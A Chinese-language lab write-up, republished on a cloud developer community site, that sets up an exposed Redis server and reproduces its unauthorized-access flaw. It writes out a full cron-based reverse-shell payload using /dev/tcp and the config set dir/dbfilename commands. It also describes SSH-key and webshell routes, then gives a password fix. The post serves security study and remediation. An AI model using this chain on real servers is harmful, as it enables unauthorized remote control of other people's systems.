前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【漏洞复现】通过Redis未授权访问漏洞获取权限

【漏洞复现】通过Redis未授权访问漏洞获取权限

作者头像
一名白帽的成长史
发布2022-11-11 15:32:35
7260
发布2022-11-11 15:32:35
举报

Hello,各位小伙伴大家好~

这里是复更的小编Monster~

因为不可抗因素停更了许久(才不是懒!)

之后准备更JAVA代码审计相关的内容~

今天先发一篇之前的底稿,一起来看看吧!

Part.1

环境搭建

客户端环境搭建

首先来搭建Redis客户端:

代码语言:javascript
复制
wget http://download.redis.io/redis-stable.tar.gz

解压下载的压缩包:

代码语言:javascript
复制
tar -zxf redis-stable.tar.gz

编译 redis-stable

编译完成之后,再将 src 目录下的redis-cli 拷贝到 /usr/bin/ 目录下一份,这样就可直接使用 redis-cli 了。

代码语言:javascript
复制
cp ./src/redis-cli /usr/bin/

尝试运行客户端:

代码语言:javascript
复制
Redis-cli -h

//安装完毕~

服务端环境搭建

下载Redis服务端:

代码语言:javascript
复制
wget http://download.redis.io/releases/redis-4.0.4.tar.gz

解压下载的压缩包:

代码语言:javascript
复制
tar xzf redis-4.0.4.tar.gz

编译 make:

//如果提示gcc和cc命令令未找到:/bin/sh: cc: command not found,则需要进行安装:

代码语言:javascript
复制
yum -y install gcc gcc-c++ libstdc++-devel

将src目录下的redis-server和redis-cli拷贝到/usr/bin目录:

将redis.conf拷贝到/etc/目录下:

修改/etc/redis.conf配置文件

注释掉本地访问,并设置保护模式为no:

//这样才能远程访问redis服务

如果不关闭保护模式,远程访问会禁止:

通过修改后的配置文件启动redis服务:

代码语言:javascript
复制
redis-server /etc/redis.conf

完毕~

Part.2

漏洞复现

redis基本操作

尝试直接连接,并查看info信息:

//说明当前存在未授权访问,且可以远程访问

创建、查询、删除一个键值对:

Redis拿权限主要是利用redis写文件的功能,我们可以通过写入以下文件获取权限:

(1)写入计划任务反弹shell

(2)写入ssh公钥获取权限

(3)写入webshell获取权限

通过计划任务反弹shell

Kali开启监听:

写入文件需要有写权限,否则报错:

写入反弹shell:

代码语言:javascript
复制
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.21.141/3344
0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

等待一分钟左右服务器成功上线:

//注意:执行ip addr等管理员命令需要指定/sbin/目录

写入ssh-keygen公钥获取权限

在kali上生成密钥对:

查看生成的公钥:

连接redis服务器,写入公钥:

设置备份路径以及文件名,写入:

通过ssh登陆目标主机:

成功~

写入webshell

这里以写入phpinfo()为例:

//用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

尝试访问,成功~

//写shell的前提是root权限,且知道绝对路径。

修复建议

修改配置文件,设置访问口令:

重启redis服务:

再次访问,则会提示权限不够:

通过口令才能进行访问,修复完毕~:

Part.3

结语

以上就是今天的全部内容啦~

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-09-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 一名白帽的成长史 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 Redis
腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档